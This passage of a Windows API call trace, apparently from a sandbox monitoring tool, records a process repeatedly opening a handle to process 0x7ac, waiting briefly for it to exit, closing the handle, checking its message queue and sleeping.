[0131.845] Sleep (dwMilliseconds=0x1) [0131.884] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0131.884] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0131.892] CloseHandle (hObject=0xad4) returned 1 [0131.892] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0131.892] Sleep (dwMilliseconds=0x1) [0131.907] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0131.907] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0131.934] CloseHandle (hObject=0xad4) returned 1 [0131.934] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0131.934] Sleep (dwMilliseconds=0x1) [0131.939] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0131.939] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0131.958] CloseHandle (hObject=0xad4) returned 1 [0131.958] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0131.958] Sleep (dwMilliseconds=0x1) [0131.970] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0131.970] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0131.987] CloseHandle (hObject=0xad4) returned 1 [0131.987] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0131.987] Sleep (dwMilliseconds=0x1) [0132.001] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0132.001] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0132.016] CloseHandle (hObject=0xad0) returned 1 [0132.017] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0132.017] Sleep (dwMilliseconds=0x1) [0132.032] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0132.032] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0132.048] CloseHandle (hObject=0xad0) returned 1 [0132.048] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0132.048] Sleep (dwMilliseconds=0x1) [0132.064] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0132.064] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0132.080] CloseHandle (hObject=0xad0) returned 1 [0132.080] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0132.080] Sleep (dwMilliseconds=0x1) [0132.113] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0132.114] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0132.126] CloseHandle (hObject=0xad0) returned 1 [0132.126] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0132.126] Sleep (dwMilliseconds=0x1) [0132.142] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0132.142] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0132.157] CloseHandle (hObject=0xad0) returned 1 [0132.157] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0132.157] Sleep (dwMilliseconds=0x1) [0132.173] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0132.173] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0132.206] CloseHandle (hObject=0xad0) returned 1 [0132.206] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0132.207] Sleep (dwMilliseconds=0x1) [0132.221] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0132.221] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0132.235] CloseHandle (hObject=0xad0) returned 1 [0132.235] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0132.235] Sleep (dwMilliseconds=0x1) [0132.251] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0132.251] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0132.268] CloseHandle (hObject=0xad0) returned 1 [0132.268] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0132.268] Sleep (dwMilliseconds=0x1) [0132.282] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0132.282] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0132.297] CloseHandle (hObject=0xad0) returned 1 [0132.297] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0132.298] Sleep (dwMilliseconds=0x1) [0132.313] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0132.313] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0132.328] CloseHandle (hObject=0xad0) returned 1 [0132.328] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0132.328] Sleep (dwMilliseconds=0x1) [0132.344] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0132.344] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0132.360] CloseHandle (hObject=0xad0) returned 1 [0132.360] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0132.360] Sleep (dwMilliseconds=0x1) [0132.375] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0132.375] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0132.391] CloseHandle (hObject=0xad0) returned 1 [0132.391] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0132.391] Sleep (dwMilliseconds=0x1) [0132.414] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0132.414] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0132.422] CloseHandle (hObject=0xad0) returned 1 [0132.422] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0132.422] Sleep (dwMilliseconds=0x1) [0132.438] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0132.438] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0132.453] CloseHandle (hObject=0xad0) returned 1 [0132.454] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0132.454] Sleep (dwMilliseconds=0x1) [0132.472] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0132.472] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0132.484] CloseHandle (hObject=0xad0) returned 1 [0132.485] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0132.485] Sleep (dwMilliseconds=0x1) [0132.500] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0132.500] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0132.522] CloseHandle (hObject=0xad0) returned 1 [0132.522] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0132.522] Sleep (dwMilliseconds=0x1) [0132.532] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0132.532] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0132.554] CloseHandle (hObject=0xad0) returned 1 [0132.554] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0132.554] Sleep (dwMilliseconds=0x1) [0132.563] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0132.563] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0132.578] CloseHandle (hObject=0xad0) returned 1 [0132.578] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0132.578] Sleep (dwMilliseconds=0x1) [0132.594] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0132.594] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0132.609] CloseHandle (hObject=0xad0) returned 1 [0132.609] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0132.609] Sleep (dwMilliseconds=0x1) [0132.625] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0132.625] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0132.650] CloseHandle (hObject=0xad0) returned 1 [0132.650] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0132.650] Sleep (dwMilliseconds=0x1) [0132.656] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0132.656] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0132.674] CloseHandle (hObject=0xad0) returned 1 [0132.674] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0132.675] Sleep (dwMilliseconds=0x1) [0132.688] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0132.688] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0132.721] CloseHandle (hObject=0xad0) returned 1 [0132.721] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0132.721] Sleep (dwMilliseconds=0x1) [0132.737] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0132.737] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0132.750] CloseHandle (hObject=0xad0) returned 1 [0132.750] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0132.750] Sleep (dwMilliseconds=0x1) [0132.793] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0132.793] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0132.845] CloseHandle (hObject=0xad4) returned 1 [0132.845] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0132.845] Sleep (dwMilliseconds=0x1) [0132.861] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0132.861] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0132.874] CloseHandle (hObject=0xad4) returned 1 [0132.874] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0132.875] Sleep (dwMilliseconds=0x1) [0132.890] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0132.890] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0132.931] CloseHandle (hObject=0xad4) returned 1 [0132.931] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0132.931] Sleep (dwMilliseconds=0x1) [0132.937] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0132.937] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0132.952] CloseHandle (hObject=0xad4) returned 1 [0132.952] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0132.953] Sleep (dwMilliseconds=0x1) [0132.968] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0132.968] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0132.984] CloseHandle (hObject=0xad4) returned 1 [0132.984] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0132.984] Sleep (dwMilliseconds=0x1) [0132.999] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0132.999] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.015] CloseHandle (hObject=0xad4) returned 1 [0133.015] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.015] Sleep (dwMilliseconds=0x1) [0133.031] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.031] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.046] CloseHandle (hObject=0xad4) returned 1 [0133.046] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.046] Sleep (dwMilliseconds=0x1) [0133.062] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.062] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.077] CloseHandle (hObject=0xad4) returned 1 [0133.077] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.077] Sleep (dwMilliseconds=0x1) [0133.093] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.093] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.108] CloseHandle (hObject=0xad4) returned 1 [0133.109] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.109] Sleep (dwMilliseconds=0x1) [0133.124] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.124] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.140] CloseHandle (hObject=0xad4) returned 1 [0133.140] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.140] Sleep (dwMilliseconds=0x1) [0133.155] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.156] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.171] CloseHandle (hObject=0xad4) returned 1 [0133.171] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.171] Sleep (dwMilliseconds=0x1) [0133.194] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.194] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.202] CloseHandle (hObject=0xad4) returned 1 [0133.202] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.202] Sleep (dwMilliseconds=0x1) [0133.218] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.218] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.234] CloseHandle (hObject=0xad4) returned 1 [0133.234] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.234] Sleep (dwMilliseconds=0x1) [0133.250] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.250] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.267] CloseHandle (hObject=0xad4) returned 1 [0133.267] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.267] Sleep (dwMilliseconds=0x1) [0133.280] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.280] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.296] CloseHandle (hObject=0xad4) returned 1 [0133.296] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.296] Sleep (dwMilliseconds=0x1) [0133.314] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.314] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.327] CloseHandle (hObject=0xad4) returned 1 [0133.327] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.327] Sleep (dwMilliseconds=0x1) [0133.343] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.343] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.361] CloseHandle (hObject=0xad4) returned 1 [0133.361] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.361] Sleep (dwMilliseconds=0x1) [0133.374] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.374] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.390] CloseHandle (hObject=0xad4) returned 1 [0133.390] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.390] Sleep (dwMilliseconds=0x1) [0133.409] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.409] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.421] CloseHandle (hObject=0xad4) returned 1 [0133.421] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.421] Sleep (dwMilliseconds=0x1) [0133.436] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.436] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.452] CloseHandle (hObject=0xad4) returned 1 [0133.452] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.452] Sleep (dwMilliseconds=0x1) [0133.468] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.468] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.485] CloseHandle (hObject=0xad4) returned 1 [0133.485] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.485] Sleep (dwMilliseconds=0x1) [0133.499] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.499] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.514] CloseHandle (hObject=0xad4) returned 1 [0133.514] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.514] Sleep (dwMilliseconds=0x1) [0133.530] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.530] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.548] CloseHandle (hObject=0xad4) returned 1 [0133.548] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.548] Sleep (dwMilliseconds=0x1) [0133.564] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.564] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.585] CloseHandle (hObject=0xad4) returned 1 [0133.585] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.585] Sleep (dwMilliseconds=0x1) [0133.592] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.592] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.608] CloseHandle (hObject=0xad4) returned 1 [0133.608] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.608] Sleep (dwMilliseconds=0x1) [0133.623] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.623] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.639] CloseHandle (hObject=0xad4) returned 1 [0133.639] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.639] Sleep (dwMilliseconds=0x1) [0133.656] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.656] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.670] CloseHandle (hObject=0xad4) returned 1 [0133.670] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.670] Sleep (dwMilliseconds=0x1) [0133.686] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.686] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.708] CloseHandle (hObject=0xad4) returned 1 [0133.708] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.708] Sleep (dwMilliseconds=0x1) [0133.718] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.718] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.733] CloseHandle (hObject=0xad4) returned 1 [0133.733] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.733] Sleep (dwMilliseconds=0x1) [0133.748] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.748] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.764] CloseHandle (hObject=0xad4) returned 1 [0133.764] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.764] Sleep (dwMilliseconds=0x1) [0133.781] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.781] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.795] CloseHandle (hObject=0xad4) returned 1 [0133.795] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.795] Sleep (dwMilliseconds=0x1) [0133.811] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.811] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.826] CloseHandle (hObject=0xad4) 